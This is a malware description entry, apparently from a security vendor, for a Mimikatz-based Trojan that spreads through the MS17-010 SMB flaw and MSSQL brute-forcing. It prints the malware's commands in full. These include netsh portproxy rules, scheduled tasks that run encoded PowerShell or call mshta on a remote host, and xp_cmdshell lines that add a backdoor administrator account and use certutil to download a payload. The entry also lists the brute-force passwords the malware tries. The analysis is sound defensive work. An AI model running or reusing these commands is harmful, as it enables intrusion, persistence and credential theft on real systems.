Trojan.Win32.MIMIKATZ.ADX

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be downloaded from remote sites by other malware.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

It takes advantage of certain vulnerabilities. However, as of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be downloaded from remote site(s) by the following malware:

• Trojan.Win32.INFOSTEAL.ADS

Installation

This Trojan drops the following files:

• {malware path}\mkatz.ini - Mimikatz script output
• %User Temp%\_MEI{random}\{Python components}
• {malware path}\oskjwyh28s3.exe - contains "*"

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

It drops and executes the following files:

• {malware path}\m.ps1 - obfuscated Mimikatz PowerShell script, detected as Trojan.PS1.MIMIKATZ.ADS

It adds the following processes:

• netsh advfirewall set allprofile state on
• netsh advfirewall firewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445
• netsh advfirewall firewall add rule name=denyy135 dir=in action=block protocol=TCP localport=135
• netsh advfirewall firewall add rule name=denyy136 dir=in action=block protocol=TCP localport=136
• netsh advfirewall firewall add rule name=denyy137 dir=in action=block protocol=TCP localport=137
• netsh advfirewall firewall add rule name=denyy139 dir=in action=block protocol=TCP localport=139
• netsh firewall add portopening tcp 65531 DNS
• netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53
• netsh firewall add portopening tcp 65532 DNS2
• netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=54

It creates the following folders:

• %User Temp%\_MEI{random}

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000, XP, and Server 2003, or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, and 8.)

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://{BLOCKED}l.{BLOCKED}o.net/dll.exe?fr={eb or mssql}

It saves the files it downloads using the following names:

• %System Root%\{install.exe or setupinstalled.exe} - detected as Trojan.Win32.INFOSTEAL.ADS

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan connects to the following URL(s) to get the affected system's IP address:

• http://{BLOCKED}.{BLOCKED}.pl/raw
• http://{BLOCKED}p.com

It does the following:

• It connects to the following website(s) to download and execute a script:
  • http://v.{BLOCKED}h.com/v{user domain}
  • http://w.{BLOCKED}h.com/page.html?p{computer name}
• Port 60124 serves as its mutex to allow only one instance running.
• It deletes the user "k8h3d" if it exists, then it creates the same username afterwards on the infected machine and the vulnerable target machine.
• It scans randomly-generated IP addresses over the Internet and the local network to check for open port 445.
  If it finds a target with an open port 445, it will attempt to exploit MS17-010 vulnerability and perform the following commands:
  • Send one of the following files to the target and saved as %System Root%\installed.exe and %System Root%\installed2.exe:
    • %Windows%\System32\svhost.exe
    • %Windows%\SysWOW64\svhost.exe
    • %Windows%\System32\drivers\svchost.exe
    • %Windows%\SysWOW64\drivers\svchost.exe
  • Copy %Temp%\svchost.exe as %Windows%\{random 4-8 letters}.exe
  • Move %Temp%\dig.exe as %Windows%\{random 4-8 letters}.exe
  • Create a batch file named %Temp%\p.bat containing the ff. commands:
    • move /y %Temp%\{Random 4-8 letters}.exe %Windows%
    • netsh interface ipv6 install
    • netsh firewall add portopening tcp 65532 DNS2
    • netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1 connectport=53
    • netsh firewall add portopening tcp 65531 DNSS2
    • netsh interface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1 connectport=53
    • if exist C:/windows/system32/WindowsPowerShell/ (schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e {base-64 string}" /F&schtasks /create /ru system /sc MINUTE /mo 10 /st 07:00:00 /tn "\{random 4-8 letters}" /tr "%Windows%\{random 4-8 letters}.exe" /F&schtasks /create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr "%Temp%\svchost.exe" /F) else (start /b sc start Schedule&ping localhost&sc query Schedule|findstr RUNNING&&schtasks /delete /TN Autocheck /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autocheck /tr "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"&schtasks /run /TN Autocheck&schtasks /delete /TN Autostart /f&schtasks /create /ru system /sc MINUTE /mo 10 /ST 07:00:00 /TN Autostart /tr "%Windows%\{random 4-8 letters}.exe"&schtasks /run /TN Autostart&schtasks /delete /TN Autoscan /f&schtasks /create /ru system /sc MINUTE /mo 50 /ST 07:00:00 /TN Autoscan /tr "%Temp%\svchost.exe"&schtasks /run /TN Autoscan)
    • net start Ddriver
    • for /f %%i in (\'tasklist | find /c /i "cmd.exe"\') do set s=%%i
    • if %s% gtr 10 (shutdown /r)
    • net user k8h3d /del
    • %Temp%\svchost.exe
    • del %Temp%\p.bat
  • Copies %Temp%\updll.exe and %Temp%\upinstalled.exe to the target machine, saved as the same filenames. It then creates %Temp%\tmp.vbs which executes the copied files.
  • Attempt to execute the sent files on the target machine.
• If exploit fails, it then scans randomly-generated IP addresses over the Internet and the local network to check for open port 1433.
  If it finds a target with an open port 1433, it will attempt to execute the following SQL commands:
  • exec sp_dropextendedproc 'xp_cmdshell';
  • dbcc addextendedproc('xp_cmdshell','xplog70.dll')
  • EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell', 1;RECONFIGURE;
  • xp_cmdshell 'net user k8h3d k8d3j9SjfS7 /ADD && net localgroup administrators k8h3d /ADD&netsh advfirewall firewall add rule name=mssql dir=in action=allow protocol=TCP localport=1433&netsh advfirewall firewall add rule name=web dir=in action=allow protocol=TCP localport=80'
  • sp_password Null,'ksa8hd4,m@~#$%^&*()','sa';
  • xp_cmdshell \'cmd /c schtasks /create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn "\Microsoft\windows\Bluetooths" /tr "powershell -ep bypass -e {base-64 string}" /F&netsh firewall add portopening tcp 65533 DNSsql&netsh interface portproxy add v4tov4 listenport=65533 connectaddress=1.1.1.1 connectport=53&certutil -urlcache -split -f http://dl.{BLOCKED}o.net/dll.exe?fr=mssql c:\setupinstalled.exe&&c:\setupinstalled.exe'')

It takes advantage of the following vulnerabilities:

• Microsoft Windows SMB Server (MS17-010) Vulnerability

However, as of this writing, the said sites are inaccessible.

It adds the following scheduled tasks:

• Task Name: DnsScan
  Task to be Run: {malware path and filename}
• Task Name: \Microsoft\windows\Bluetooths
  Task to be Run: powershell -ep bypass -e {base-64 string}
• Task Name: Autocheck
  Task to be Run: "cmd.exe /c mshta http://w.{BLOCKED}h.com/page.html?p%COMPUTERNAME%"
• Task Name: Autoscan
  Task to be Run: %Temp%\svchost.exe

NOTES:
It uses the following usernames and passwords to attempt logging in to the target machine:

• Usernames:
  • Administrator
  • user
  • admin
  • test
  • hp
  • guest
  • k8h3d

• Usernames (SQL):
  • sa
  • mssqla
  • usera

• Passwords:
  • 123456
  • password
  • qwerty
  • 12345678
  • 123456789
  • 123
  • 1234
  • 123123
  • 12345
  • 12345678
  • 123123123
  • 1234567890
  • 88888888
  • 111111111
  • 000000
  • 111111
  • 112233
  • 123321
  • 654321
  • 666666
  • 888888
  • a123456
  • 123456a
  • 5201314
  • 1qaz2wsx
  • 1q2w3e4r
  • qwe123
  • 123qwe
  • a123456789
  • 123456789a
  • baseball
  • dragon
  • football
  • iloveyou
  • password
  • sunshine
  • princess
  • welcome
  • abc123
  • monkey
  • !@#$%^&*
  • charlie
  • aa123456
  • Aa123456
  • admin
  • homelesspa
  • password1
  • 1q2w3e4r5t
  • qwertyuiop
  • 1qaz2wsx
  • sa
  • sasa
  • sa123
  • sql2005
  • 1
  • admin@123
  • sa2008
  • 1111
  • passw0rd
  • abc
  • abc123
  • abcdefg
  • sapassword
  • Aa12345678
  • ABCabc123
  • sqlpassword
  • 1qaz2wsx
  • 1qaz!QAZ
  • sql2008
  • ksa8hd4,m@~#$%^&*()
  • 4yqbm4,m`~!@~#$%^&*(),.;
  • A123456
  • k8d3j9SjfS7